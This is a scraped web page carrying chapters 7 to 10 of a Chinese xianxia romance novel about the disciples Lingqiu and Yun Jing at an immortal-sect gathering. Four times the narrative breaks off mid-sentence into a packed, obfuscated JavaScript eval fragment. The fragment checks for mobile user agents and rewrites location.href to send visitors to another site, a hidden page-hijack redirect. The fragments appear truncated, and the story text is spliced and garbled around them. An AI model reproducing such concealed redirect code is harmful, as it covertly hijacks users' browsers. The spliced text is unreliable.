;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258127|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,吸了口气,道:“她可是有前愆的,谁知道这回会不会信守承诺,我劝你还是别太将此事放在心上。” “不可能。”云靖御剑飞向天空,朗声道:“凌秋绝不会骗我。而且这次见面,我有一件很重要的事要和她讲明。” 远处鸦青色的天际,阴云密布,一场山雨欲来。 三师兄一语成谶。 太虚宫报道这天,云靖抱着满怀蜜饯糕点在人群中艰难穿梭,始终没能寻见那抹熟悉的身影。 他心头越来越没底,干脆找来管事的师姐。几位师姐很是热心,一听他的话,立刻请示宫主,取来录取名单。 白纸黑字,云靖挨个看过去,根本没有灵秋的名字。 师姐安慰道:“可能是来报了名,没录上而已。” 不可能的。 所有人都说,逍遥派的凌秋击杀了千年蛟,是这世间天赋最强之人。 只要她报名,不可能不被录取。 云靖一言不发,师姐们相互对视一眼,又找来今年报名的花册。 不知为何,云靖看着那名册,突然有些怕。 在师姐们关切目光的洗礼下,他踌躇片刻,终于翻开了厚厚的封皮。 云靖在一个个陌生的名字间找了又找。 没有,果然没有。 她根本没有报名。 这是一场彻头彻尾的骗局,她又一次狠狠欺骗了他! 蜜饯果子撒了一地,云靖向师姐们道歉,慌不择路地冲出屋子。 浓云低垂,他一路狂奔,避开人群,被盛夏骤雨浇了个透心凉。 胸口的桂花糕被淋湿了,软塌塌的糊成一团。这是他反复练习,做得最好的一次,原本满心期待地想送给她第一个品尝。 大骗子。 当日生死一线,他靠与她的约定撑着一口气活了下来。可水境之外,她把他扔下,连句道别的话也未留,让他盼了两年,七百多个日夜,再一次用失约毫不留情地伤害了他。 云靖狼狈地躲进僻静处,在电闪雷鸣的雨幕里哭到不能自已。 他将湿透的桂花糕掏出来,囫囵塞进口中。 苦得不像话。 真难吃。 从今以后,他再也不做桂花糕,也再不吃蜜饯了。 云靖在心底连连赌咒,被泪水呛到哽咽。 远处,狂风疏雨,打倒一院红粉蔷薇。 7. 相逢未逢竹映白衣 雨越终于停了。 宽阔的江面便泛起数丈高的浓雾,烟波浩渺中,一叶小舟正顺流而下。 灵秋站舟头,风裹挟着水汽拂面,沾湿了她的衣裙。 峭壁耸立,万仞奇绝。 这是阳华境外的一处断崖结界,雾气厚重且经年不散,纵使法力高强的修士也很容易迷失其间,是故来参加阳华仙会的人都不敢贸然御剑,纷纷选择乘船前往。 小舟驶过江心,两旁植被越来越茂盛,远处岸边,一树垂丝海棠迎了雨,缀在枝头,棠枝被风吹得摇曳,下下轻点江面,戳破迷雾重重,横扫万顷春光。 红粉欺翠,娇艳袭人,灵秋却偏过脑袋,不愿多看一眼。 水面无波,似一方铜镜,反射了奇巧楼台的倒影。 青灰色的飞檐下挂着惊鸟铃,风吹过,叮当悦耳的铃音与由远及近的脚步声唱和呼应。 阳华境早在数日前便已开启,此刻前来参加仙会的各家弟子分散在境中。兰翘梳着总角,提起裙子快步跑进漆花木廊,迎面撞上一位衣着鲜亮的妙龄少女。 “小姐!”一侧侍从赶忙上前扶住少女,一把推开兰翘,关心道:“您没事吧?” “我的金簪!” 少女蹙着眉,看着地上闪闪发光的桃花簪。侍从立刻弯腰捡起簪子,用手帕擦了擦,双手奉到她面前。 “对不起。”兰翘从地上爬起来,揉了揉摔得生疼的屁股,板着脸向少女道歉。 十足的歉意因方才那记猛推消去大半,她看向少女手中的金簪,冷道:“既然东西没坏,我就先告辞了。” 少女把玩着金钗,本无心搭理她,侍从不耐烦地将兰翘从上到下睇了一眼,瞧见她腰间挂着的玉牌,面色一变,拉住主人的衣袖,耳语道:“小姐,是逍遥派的人。” 少女闻言骤然抬头,唤出佩剑,拦住兰翘的去路。 锋利的剑刃猝然逼近,兰翘闪避不及,一缕青丝悠悠坠地。 “闯了祸就想跑,你们逍遥派的人,都这么卑鄙无耻,不知进退吗?” “我已经道歉了。”兰翘皱眉,“撞你的只是我,还请莫要出言辱骂我的师门。” 少女缓步行至她身前,指尖凝决,嘴角捻起一抹冷笑。 木廊外,青竹苍翠,绵绵不绝。绿意掩隐的青石板路上缓缓走来一群年轻人。其中一位少年尤为亮眼。 只见他缎发玉冠,窄袖长袍,肤色白皙似雪,眉目俊秀天然,姿容绝美,仪态从容,正可谓翩翩公子举世无双。 这少年站在人群最首,谈笑间,众星拱月,好不风流。 这群年轻人有说有笑,忽而听见前方约传来争执声,纷纷循着声音,加快了脚步。 惊鸟铃发出急促的轻鸣,木廊内,兰翘被人施术逼跪在地,双髻散乱,碎发被汗水打湿,黏糊糊的粘在脸上。 她瞪着面前的少女,梗着脖子对抗压迫自己的灵力,锋利的宝剑横在脖间,她却始终不愿弯下脊背。 侍从变出一条黑色戒鞭,捧到少女跟前:“小姐,这丫头灵力低微,定是久居穷乡僻壤无人管教,今日咱们就替她那不识好歹的师父师姐教训一番,叫她好好长长记性。” 竹林间,有人认出少女,向身侧的蓝衫少年道:“微澜兄,那边那位姑娘可是闻人氏双双师妹?” “是我师妹。”宋微澜颔首。 他看着少女执鞭驱剑的动作,丝毫不为所动,反替她在人前辩解:“我家师妹一向是非分明,此番定是这小姑娘冒犯了她。” 他看向为首的俊美少年:“不过是姑娘间无伤大雅的小摩擦,云靖兄,我看咱们最好躲远些,免得劝架不成,姑娘们瞧见你啊,又丢了魂。” 这话有调侃之意,宋微澜自以为幽默,却无人附和。 他干笑几声,想再找补几句,身侧人赶紧朝他摇了摇头。 宋微澜与云靖初识,自然不知道他生平最忌他人谈论自己的容貌,别说玩笑,就是夸赞也万万不可。 “即便做了天大的错事,也不该如此动用私刑。”云靖身侧,三师兄于风看向宋微澜,疾言道:“宋师弟还不出手阻止自家师妹吗?” “于师兄何须动怒?”宋微澜不以为意。 “阳华境内私自处刑,受鞭笞二十。”云靖指尖凝咒,轻轻一笑:“宋兄若不打算阻止,为闻人师妹考虑,在下只好略施援手了。” 话音刚落,复听那方传来动静。 “你若敢打我,我师姐决不会放过你!” “她师姐?”有人问宋微澜,“是谁啊,你认识吗?” 宋微澜颔首道:“自然不……” 话未说完,只见一股凌厉的剑气破空而出,带着森然杀意,直冲木廊中人刺去。 宋微澜黑瞳圆睁,立即飞身上前,提剑护在了闻人双双身前。 禁锢兰翘的灵力不攻自破。 有裂痕自剑心破出,迅速蔓延至整个剑身。伴随一声细微的响动,宋微澜的本命剑在强力作用下四分五裂。 锋利的剑气击穿他用法术凝出的屏障,灵活地绕开他,径直冲向闻人双双。 闻人双双手上,那柄倾整个闻人氏数年心血锻造而成的宝剑如不堪一击的朽木,在被剑气击中的瞬间爆裂破开,碎了一地。 至此,人未现身,两把本命剑已被接连击碎。 “好强!” 于风发出一声惊叹。 紧跟着,在众人惊讶的目光中,闻人双双手上的长鞭受控制飞出,围着她和侍从绕了几圈,缠上飞檐,将两人五花大绑,倒挂在空中。 那人做完这些犹嫌不够,又驱使灵力在地上随意勾起两把带泥的湖畔青草,一人一边,塞住了她们的嘴。 挣扎声中,少女脚踏一枝棠花,飞跃湖面,破云而来。 她身着纱裙,葭色外衫迎风招展,腰间衣带松松打结,乌木发丝仅用一根素钗潦草挽起,目阔而明,疏离天然,眉宇间英气奕奕,虽装扮朴素,却很有几分不加矫饰的凌厉,如冷桂逐雪,断月流霜,教人见之神醉。 “师姐!” 兰翘飞扑进来人怀中,藏在层层衣袍后,眼含委屈,瞪着面前三人。 灵秋替她理了理碎发,触到整齐的断口,眼神跟着扫过地面,笑道:“剑不错。不过,能碎在我的手上,实属荣幸。” 于风讶异道:“这女子是何人?怎得如此狂傲!” 身后传来呜咽声,宋微澜咽了口唾沫,想发作的冲动被来人随意投来的一道眼神生生逼退。 他攥紧拳头,向她抱首行礼:“敢问姑娘名讳。” “逍遥派,凌秋。” 于风倒吸一口凉气。 他偷瞄一眼身侧的云靖,只见他面色紧绷,笑意全无,死死盯着那方,不知在想什么。 “原来她就是凌秋,难怪!” “先前逍遥派入境时竟无人见过她,传闻中的古今第一天资果然名不虚传。” “我们是否应该上前拜会?” “还是算了吧,现在可不是结交的好时机。” “这位凌姑娘如此厉害,闻人师妹这回恐怕惨了。” “我看不然,凌秋再狂,不过一介白衣。闻人氏可是北方大族,宋氏亦有盛名,她怎么敢对双双师妹出手?” “……” “那个,师弟啊,要不,我们先回去?” 于风听着身侧人交谈,早就忍不住皱眉。 他硬着头皮拽了拽云靖,只觉这人活像一尊顽石,死活没能拽动。 这厢,灵秋报出身份,宋微澜反应过来,立刻道:“凌姑娘,我师妹懵懂无知,无意间与这位小师妹有了些误会,还请姑娘高抬贵手,放了她。” 灵秋不看他一眼,自对兰翘道:“究竟是怎么一回事,阿翘,你细细讲来,孰是孰非,我自有判断。” 兰翘道:“是我不小心撞到这位师姐,撞掉了她的金簪。” 果然。 宋微澜看向灵秋。 兰翘接道:“金簪没有坏,我也同她道歉了。”兰翘愤怒地指向空中,“可是她们二人却出言辱骂师父和师姐,还逼我磕头道歉,我不从便想用鞭子抽我。” 灵秋道:“是怎么骂的?” 兰翘又道:“她们说逍遥派的人卑鄙无耻,师父和师姐不识抬举,还说胥阳山是穷乡僻壤之地,说我灵力低微无人管教。” 灵秋将目光投向宋微澜。 后者深吸一口气,拱手向她道:“这一定是误会。我家师妹只是骄纵了些,她并非有心如此,只不过是同这位小师妹玩笑,玩笑罢了。” “是吗?” “正是。” 灵秋道:“既然师兄都这么说了,阳华仙会在即,各派掌门仙尊齐聚一堂,总不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闻人双双从巨大的恐惧中猝然解脱,剧烈喘息着,只见灵秋蓦然回首,向着宋微澜和她高声道:“说好了就此作罢,二位为何还要背后偷袭,取我性命?” 说完不等他们狡辩回答,兀自又道:“罢了罢了,反正两位的修为也不过尔尔,今日我便大人不记小人过,原谅你们这回。” 言罢,浅浅一笑,牵了师妹往廊外去。 如此一来,周围那些后来聚集却不知事情原委的人将她的话听得清清楚楚,数道目光顿时齐齐投向宋微澜和闻人双双。 宋微澜的面色一瞬僵了。 他还想说些什么来挽回场面,只可惜几经辗转,想到方才在桃花簪下犹如死里逃生一般的情景,却是什么也想不出,什么也不敢说了。 宋微澜望着灵秋的背影,怒气横生,心道:“此女果真绝非善类。” 这头,灵秋没走出几步,只感觉越发如芒在背。 自打进了这方院子,不知为何,总觉得浑身发毛。 她若有所感,猛一转身。宋微澜心头一颤,却见她的目光穿过木廊,朝远处的竹林投去。 云靖本来一动不动地盯着灵秋的背影,在她转头的瞬间,想也没想,下意识背过身,匆匆躲进竹林之中。 灵秋只看到一众陌生路人。 为首的一个男子正目不转睛地盯着身侧葱郁的竹林,神色颇为复杂,仿若大受震撼,又似困惑不已。 到处都是长得差不多的人。 没什么意思。灵秋转身离去。 云靖也不知道自己为什么要躲。 身上白袍与青绿纠缠在一处,当下,他站在竹的阴影里,千思万绪,却突然忆起——方才她所踏的既非铁剑,亦非召雪。 “这么多年,你对凌秋还放不下吗?” 宋微澜看着闻人双双手腕上被勒出的红痕,眼露心疼。 他道:“师妹,今日一见,她的修为实非你我能及。待我回去禀明闻人伯伯,你日后千万莫再招惹逍遥派的人。” 宋微澜想为她接上断发,然而闻人双双的头发是被法术斩断的,任他如何施法也是徒劳。 闻人双双脸涨得通红,泪水接连从眼中涌出。 终于又见面了。 她盯着灵秋背影消失的方向,手心碎片嵌进肉里亦浑然不觉。 8. 心忌豪族散人佯怒 灵秋蹲在兰翘面前,驱剑划破手腕,滴血在她断发的切口上。 “师姐不要!”兰翘慌忙捂住她的手。 “不妨事。”断发重新长出,灵秋道:“一会儿请大师姐重新替你梳发。” “师妹!” 说曹操曹操到,江芙的声音带着笑意由远及近。 她正高兴,没走几步,瞧见灵秋手腕上的伤口,神色骤然大变,快步跑到她身边,惊道:“你不要命了?!” 江芙又惊又气,连忙施法替她止血,又道:“此事千万不能让师父知道。” 伤口不深,却费了许久才堪堪停止渗血。 “师姐,我真的没事。”灵秋拉过兰翘,“小师妹的头发又散了,师姐替她绾发吧。” 她道:“我先去拜见师父。” “等等。”江芙拦住灵秋,欲言又止,“师父他……” “师父怎么了?” 江芙叹了口气:“当日我们一入阳华境,师父便向神尊呈了拜帖,至今没能收到任何回信,自昨日清晨便闭门谢客,吩咐谁也不见。” 还是因为当年水境中的那件事。 江芙道:“这些年师父多次那境中之事上书给太霄辰宫,始终没有回音。” “世人都说,九澜仙尊是修仙界有头有脸的大人物,他借试炼之机哄骗修士屠戮水境,收集妖丹,致使蛟龙暴怒,死伤惨重,所作所为虽是不义,却情有可原。” 她重重叹了口气:“莫非连就神尊也是这么想的?” 灵秋皱眉道:“神尊?” “就是太霄辰宫的掌门。” “据说神尊五百年前炼出心剑,道法大成,如今已有数千年寿元,乃是这世间至尊至强的大前辈。” “噢,师姐说的是徐悟啊。”灵秋了然。 她不知道什么神尊,魔域中人,无论魔尊焱狰还是谋士大臣提到太霄辰宫,都称其掌门“徐悟那厮”。 江芙压低了声音:“不好直呼神尊姓名。” “什么狗屁神尊。”灵秋冷笑一声,“都修炼一千年了还没悟道飞升,想来资质平庸,不过倚老卖老,倚仗年岁比旁人多积攒几分功力罢了。” “师妹!”江芙赶紧捂住她的嘴,“大逆不道之言!” “相传神尊天赋当年在上下三代修士中也排得上号,大道飞升何其艰难,不仅要看实力,还需苦待机缘。莫说千年,就是万年,能兼具二者的人也是凤毛麟角。” “都说神尊一剑可撼山岳。”江芙眼中神光耀耀,语带向往,“我若能达到他的十之一二,这辈子就算死也足了。” 嘴被捂住的灵秋发出一声不满的呜咽。 江芙回过神,表情重新变得严肃,对她道:“我现在放开你,日后可千万不能再妄议神尊。他拥簇众多,这阳华境中又尽是仙门望族、心高气傲之辈,方才的话若不小心被他人听去,一定会叫人觉得你自恃天资,目中无人,要是因此树敌就更不好了。” 灵秋求饶般眨眨眼。 “我不说就是。”她伸了个重获自由的懒腰,“那……等师父想通了自己来找我吧。好久没下山,赶路都快累死了。师姐,我先去休息。” 江芙笑道:“去吧。” 她应得干脆,灵秋却不急着走。 她凑过来,对江芙粲然一笑:“师姐,你一定会比徐悟更厉害,而且比他活得更久,更好,我相信你。” 江芙扑哧笑了,轻轻一点她光洁的额心,“说了不许直呼神尊姓名。” 灵秋捂着脑门,跑得远远的。 才不要。 江芙看着她轻盈的背影,牵起兰翘,直到人消失在视线中才低头正色,道:“究竟发生了什么,这回,你可一点也不许隐瞒。” 阳华境宽阔,门派院落各自独立,逍遥派所在这处位于西南角。 方寸之地,却是逍遥散人特地要求。 此刻,散人紧闭房门,坐在桌前,左手端杯清茶,右手捏卷软册。 软册封皮破烂,上书“聂氏家谱”四个遒劲大字,墨迹已经斑驳,七分颜色褪尽。 这家谱几经易主,辗转流离,可谓饱经风霜。 逍遥散人正对着册子细细翻看,忽听门外传来中气十足的人声。 那人道:“闻人氏求见!” 哐的一声,门被法术破开。 散人眼疾手快地将软册揣进衣袖,仰头饮尽热茶。 一行人气势汹汹地闯进房中,为首二位其中之一正是两手空空,紧攥纱布的宋微澜。 与此同时,这厢屋内,灵秋手拿一本破书,蹙眉端详,像正在字里行间仔细找着什么。 书被大片血迹浸染,随时间侵蚀已经变成了深深的锈色,连封皮上的“苏氏族谱”四字也变得模糊不清,难以辨认。 咚咚咚—— 她将破书收入境中,打开门,只见兰翘背着手,笑眯眯地站在门口。 “师姐瞧,这是我下山历练时特意给你买的。”说着,她献宝似的将手摊开,露出一支鲜艳的珊瑚挂珠钗。 先前紧赶慢赶,只为了到码头迎接师姐,当面将这钗送给她,却不想半路碰见那对主仆。 兰翘自四年前被师姐拼死从十二魔戮空手中救下后便跟在她身边长大,因此性情与她颇有相似之处,经此一事,短暂的委屈过后只觉晦气,捧着钗连跨三个火堆才肯走出房门。 听其他人说,师姐从前最喜欢鲜艳漂亮的东西,她攒了一整年的银子,挑花了眼睛,问烦了掌柜,终于买来这钗。 “师姐喜欢吗?”兰翘屏息凝神,等待灵秋的反应,眼中的期待快要溢出来。 她重新梳了头发,潦草狼狈一扫而空,婴儿肥的脸颊上露出一只浅浅的梨涡,珠圆玉润,可爱十足。 每回看到兰翘,都会让灵秋想起远在魔域的妹妹灵泱。 百年前她从昏迷中醒来,焱狰将灵泱领到她面前,告诉她这是母亲的另一个女儿。 灵泱与灵泱曾经十分亲近,在人心诡谲的魔域,这个妹妹曾是她唯一真心在意的人,不过这一切已经是她看到母亲的绝笔信之前的事了。 据魔史记载,焱狰于三百年前继位魔尊,芙蓉妃也是在那个时候身殒的,然而吊诡的是,作为芙蓉妃小女儿的灵泱满打满算,如今也不过堪堪两百岁。 魔域中流言不断,就连灵秋自己也曾倍感困惑,可几番追问,焱狰也不过抛出“仙魔之子自然与常人不同”这一个解释。 世间之事本就玄妙莫测,灵泱天真可爱又十分亲近她,与魔域中人完全不同。一开始,灵秋很快说服自己接受了这个莫名其妙多出来的妹妹。 灵泱先天不足,无法修炼魔气,一开始,焱狰选定卧底仙门的人原本是她,却被灵秋想方设法半路截胡。 作为长姐,她待灵泱极好,一直很好。好到就连焱狰也深信此番她是为了灵泱才会挺身而出卧底仙门。 然而那封母亲临死前给“小师兄”的绝笔信里却清清楚楚地写着:“唯有一女小满,虽身负魔族血脉,然少不经事,烂漫无邪,跪求师兄怜其幼失怙恃,不计前嫌,多加照拂,小妹叩首垂拜,万死不忘师兄恩德。” 三百年前,小满所指,自然不是灵泱。 自那以后,灵秋待灵泱还是一样好,护着宠着,却在不知不觉中离了心。 不知不觉,她卧底仙门已有十年。 在魔域,十年并不长,可在人间,十年已经足够让灵秋从当日胥阳山上的稚童长成离开魔族时的少女模样。 她不在魔域,不能时刻护在灵泱身侧。魔族每半年派人与她联络一次,为了迷惑焱狰,每次联络,灵秋都会托来人捎回一封书信以示对妹妹的牵挂。这其中到底有几分真情几分假意,就连她自己也说不清。 就像此刻面对兰翘一样。 “好看。”灵秋微微一笑,转身进屋,从梳妆台底下抽出一只上锁的木匣子,将挂珠钗放了进去。 匣子里的东西琳琅满目,什么草编的蚂蚱、风干的花环、木雕的兔子公鸡……无一例外,全部出自兰翘之手。 灵秋看着这些小玩意愣神。 阳华仙会结束之日,便是她与逍遥派缘尽之时。 人魔殊途,本该如此。 只是…… 灵秋转头看一眼门口的师妹。 后者对上她的眼神,像终于得到许可般,嘴角一弯,提着裙子蹬蹬蹬的跑进屋子。 灵秋忙将木匣子合上,匆匆推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“你又是怎么做的?”逍遥散人气急,顿足捶首,“莫要引人注意,与人争执!” “师父,师妹早有盛名在外,引不引人注意,哪是她自己能决定的?” 霍羽趁逍遥散人不注意,眼疾手快地夺了他手上的剑,跑出八丈远,嚷道:“师父您这是蛮不讲理。” “即便如此也不该同闻人氏纠缠不清!” “没有纠缠不清。”灵秋道:“有仇报仇,我分明已经处处手下留情,他们却不依不饶,要杀我呢。生死之搏,我不过碎了他们两把剑,动作极快,这笔账是清得不能再清了。” “你还说!”逍遥散人扶着额头,“你究竟懂不懂毁人法器如杀人老母的道理?” 他仰天长叹,呜呼哀哉:“为师的紫霞玄冰云天无双白羽扇……赔了,全赔了!” 赔了!? 几人一听这话,纷纷瞪大眼睛。 虽然是整个门派里唯一的仙宝,不过,就那把破扇子……赔、赔得起吗? “难怪师父要找我拼命。”灵秋小声嘟囔,逍遥散人闻言瞪大眼睛,“你说什么?”一时又喝道:“为师的剑在哪儿!” 霍羽一惊,忙举着剑跑得更远。 “师父,我错了,我真的错了。”灵秋服软道:“我现在就去找闻人氏,将破……呃……紫霞玄冰云天无双白羽扇要回来。” 说着就要往院外去。 “站住!”逍遥散人大喊一声,“你还不知悔改是不是?” 他清了清嗓子,继续提高声音:“你……你给我跪下,跪在这院子里,不到天黑不准起来!” 小院周围早已聚集了一众围观的人,逍遥散人瞧一眼看热闹的各派修士,哼一声甩飞袖子,从容离场。 江芙扶起趴在地上哭得上起不接下气的兰翘,对灵秋道:“师父正在气头上,师妹,你赶紧出去避一避,我替你……” “不许替罚,不许求情,谁也不许给她送饭送水,不许同她讲话!” 她话还没说完,逍遥散人的声音便带着怒气咆哮而来。 “没事师姐。”灵秋走到院子中间,从容下跪,“我跪就是了。” 9.花前忆旧流言虚惊 院外,窃窃私语,那些方才约定着要来拜会灵秋的竹间少年站在围观的路人中间,盯着院中那道葭色背影犯难。 不出片刻,灵秋罚跪的消息就被添油加醋地传遍了整个阳华境,直传到东北角的那一大片芙蓉林里。 八角亭内,银霜楼主云正与夫人段若霜相对而坐,二人面前各放一杯清茶。 段若霜望着远处那棵最大的木芙蓉树,感慨道:“当年我们师兄妹四人一起种下这株芙蓉,没想到独木成林,当年孤孤单单的一棵树如今竟也儿孙满堂了。” 芙蓉成林何其难得?可俯仰之间,已是整整五百年岁月如梭。 云正闻言挥手施法,满园芙蓉迎风摇曳,转眼间,嫩枝转老,碧叶凋零,骨朵生长又层层剥离。 纱瓣舒展,花团锦簇。芙蓉花在初春盛放,一院深红叠浅红,好不繁华,好不热闹。 花团圆,人却离散。 云正道:“当年师尊座下六位弟子,如今只剩你我。天下无不散之筵席,人总有各自的颠沛流离,无常命运。五百年,这芙蓉林也见证了一代代修士年少风流,最好的韶光。人虽逝,情犹在,夫人切莫太过伤怀。” 段若霜道:“是啊。想当年,小师弟在这芙蓉树下舞剑,一剑名动九州,多么意气风发。可他后来弃剑下山,从此杳无音讯。那柄被扔下的剑竟然误打误撞流落到聂家人手里。” 她想到过去的事,不禁叹道:“当年聂苏两家既是姻亲,又同样身负天命血脉,聂氏公子聂追玉与苏氏家主苏逐瑶在这芙蓉林中双剑合壁,一对神仙眷侣携手夺了那年阳华仙会的魁首,却自愿弃入太霄辰宫,最后为魔族所害,双死于若水河畔,两大氏族由此覆灭。” 段若霜道:“若他们当年听从师尊劝告,拜入太霄辰宫,后来的惨剧也许就不会发生。” 云正道:“魔族生性残暴,诡计多端,即便聂苏二人躲入太霄辰宫又有什么用?匹夫无罪,身负这珍贵的血脉,注定一生悲惨,不得善终。” 他看向远处璀璨的芙蓉花,深深叹出一口气。 一千年前,流星飞坠,天崩地陷,天上同时降下永不熄灭的业火与源源不尽的灵气。 灵气致使人间上升,并赋予当时陆地上的十大世家珍贵的天命血脉,业火则使魔域下降,令浓云蔽日,众魔永世不见光明。 传说天命血脉是世间一切灵力的起源,能倒换乾坤,起死回生,化腐朽为神奇。 众人都说,一滴天命血脉之人的血便可抵过世间万物数千年的汲汲苦修。 千年来,流言神乎其神,甚嚣尘上。 很少有人亲眼见过天命血脉,大多数人不过拾人牙慧,人云亦云。事实究竟如何,众说纷纭,然而有一件事却是所有人都再清楚不过的。 天命血脉对他人来说或许是无所不能的神物,对身负它的人而言却是深深镌刻进命运的诅咒。 每一代天命血脉都毫无意外地天赋异禀,也毫无意外地因为各种的原因英年早逝。 记载中,没有一位身负天命血脉的修士能活过二十岁。千年之间,绝无例外。 斗转星移,渐渐的,新世家一个又一个崛起,当年的十大世家逐渐式微。珍贵的天命血脉从高不可攀的山巅坠入凡尘,成了世人争相觊觎抢夺的对象。 三百年前,不知为何,魔族开始通过食人提升修为,在人间大肆屠戮,更对天命血脉虎视眈眈。 一时间,身负天命血脉的十世家被正邪两道同时追捕屠戮,死伤惨重,一家接一家的灭门倾覆。 这场浩劫止于五百年前。 十世家中南宫世家的大小姐南宫烛在某次逃命途中偶遇了当时号称南明剑子的剑道天才徐悟,二人一见钟情,结为夫妇,生下两个女儿。 几年后徐悟道法大成,一手建立太霄辰宫,用十数年时间内稳世家平息纷乱,外以铁腕镇压妖魔,总算保住了仅存的五大世家。 世家虽存,诅咒犹在。不过五百年,剩下的五世家接连覆灭,就连徐悟的两个女儿也没能幸免,早早便相继离世,连血脉也没来得及留下。 聂苏两家正是当年五世家中的最后两家。 十八年前聂追玉与苏逐瑶共死于若水河畔,天命血脉就此绝迹。 然而血脉虽绝,流言不灭。 或许正是因为世间再也没有天命血脉,无据可考,关于它的流言才越传越疯,越传越广。甚至有人编出了“天命血脉,绝迹江湖,起死回生,尤胜神魔。”这样的话,多年来广为流传,整个人间无人不知,无人不晓。 所有人都深信世间再无天命血脉,所以五年前在水境外,云正和段若霜目睹灵秋用心头血救云靖时才会感到惊愕不已。 想到当日,云正仍心有余悸。 他对段若霜道:“当日我一见那逍遥派的孩子便莫名觉得熟悉,却不想她竟是身怀天命血脉之人。” 段若霜道:“我也觉得那孩子极为亲切,看她年纪,难道……是聂苏两家的后人?” 云正皱眉道:“天命血脉受人觊觎,无论是十世家中哪一家的后代,我们都要为她保守秘密,千万不能让他人知晓,免得招来横祸。” 他叹了口气:“那孩子今年恐怕也有十七八岁了,但愿她能此生安然,平静地活到最后。” 段若霜按住他的手,宽慰道:“夫君放心,当日之事,你我就连靖儿也没告诉,几个长老更不会说出去叫他人知晓。只是……” 她眉露忧色,接着说,“那孩子天赋异禀,声名在外,此番又到了这阳华境中,恐怕不是好事。何况我看咱们靖儿对她情非泛泛,这事着实……难办。” 云正道:“我倒觉得这不失为一件好事,毕竟他们二人命运相似,若能在这世间短短相伴,实在是前世修来的福分。” 段若霜闻言,竟忍不住流下泪水,悲道:“若两个孩子有心,我自然愿意撮合,怕只怕就连这点微末的情缘,老天也不许。” 话音刚落,只听芙蓉林外传来一阵喧闹声,忙整理神色,与云正一道飞出察看。 院子里,几个弟子慌慌张张地跑来,大喊道:“出事了!出事了!” 于风和云靖同时从屋中跑出,前者同样大喊应道:“出什么事了!出什么事了!” 那几个弟子却不理他,径直跑到云靖跟前,对他道:“少楼主,出事了!逍遥派的那个凌秋叫她师父给一剑杀了!” 云靖的表情蓦地一变,一把抓住说话弟子的衣领,问道:“你说什么?” 于风见状立即上手,大叫道:“师弟冷静!”又向那说话的弟子追问道:“真死了!?死透了没?” 弟子被云靖拉住衣领,憋出眼泪,疯狂眨眼。 云靖立刻将人放开,正想唤出凝霜往天上去,又听另一个弟子道:“什么死了?你胡说!分明只是被她师父罚跪!” 云靖的动作顿住,转身看向第二个弟子。恰在此时,几个少年走进院子,为首一位道:“的确只是罚跪。” 于风一瞧,正是方才和他们一起站在竹林中看热闹的那些人。 他走到云靖身边,扯了扯他的衣袖,这才发现短短片刻,他额间竟已细细浸出一层薄汗。 于风问少年们:“真的只是罚跪?” 云靖转头看他一眼,于风背后一凉,开口道:“我就是确认一下。” 话一出,却更像巴不得人家赶紧去死。 于风一咬舌头,好在少年们立即七嘴八舌地解释起缘由。 “还不是为了方才廊中那件事,听说宋师兄亲自带人去向逍遥派讨说法呢。” 于风大惑:“宋微澜讨什么说法?这事分明是他师妹不对在先,再不济那也是各打五十大板。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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霍羽将酒壶举到她眼前晃一晃,笑道:“师父的桂花酿,喝不喝?” 灵秋道:“当然要喝。” 霍羽又变出两只小巧玲珑的酒杯,斟了酒递给她,见她还傻乎乎地跪着,扑哧一笑,温言道:“还不起来?” 灵秋接过桂花酿抿了一口,道:“不行,天还没黑呢,师父不让我起来。” 霍羽道:“师父不许你吃东西,不许你喝酒,还不许我和你讲话呢,赶紧起来吧。” 他温和地笑了笑,扶起灵秋,和她一起坐到院中石凳上。 夜晚的风正凉,带了远处的花木幽香,直往袖口钻。远处灯火通明,点滴残光落进院中,将周遭都映成暖色。 两只酒杯在空中轻轻一碰,霍羽笑着,从身后摸出一柄崭新的铁剑。 他把剑递到灵秋面前,道:“师妹,送给你。” “师兄……”灵秋看看铁剑,又看看眼前的青年,一时语塞。 霍羽为她添酒:“参加仙会怎么能没有趁手的剑?师妹的剑是为我碎的,当年……” “师兄。”灵秋一把握住铁剑,“这剑,我收下了。” 霍羽眼中浮现出温柔的笑意,轻轻揉了揉她的脑袋,道:“收了我的剑,师妹可要把他们打得落花流水,跪地求饶。阳华仙会本届魁首,师兄看好你哦。” 灵秋将铁剑抱进怀里,坚定道:“师兄放心,我一定会好好爱护这把剑,绝不辜负你的心意。” 话音刚落,她面色一变,朝院外树丛飞射去一道咒。 霍羽不解道:“怎么了?” “有人偷听。”灵秋盯着那方,“对方修为不弱,我没能打中。” 10.月下对酌骄女悔旧 她起身对霍羽道:“师兄,我去去就回。” 霍羽赶紧将人拦下,劝道:“师父今日罚你跪在这儿不就是刻意给人看的吗?偷看就看,偷听就听,没什么见不得人的。” 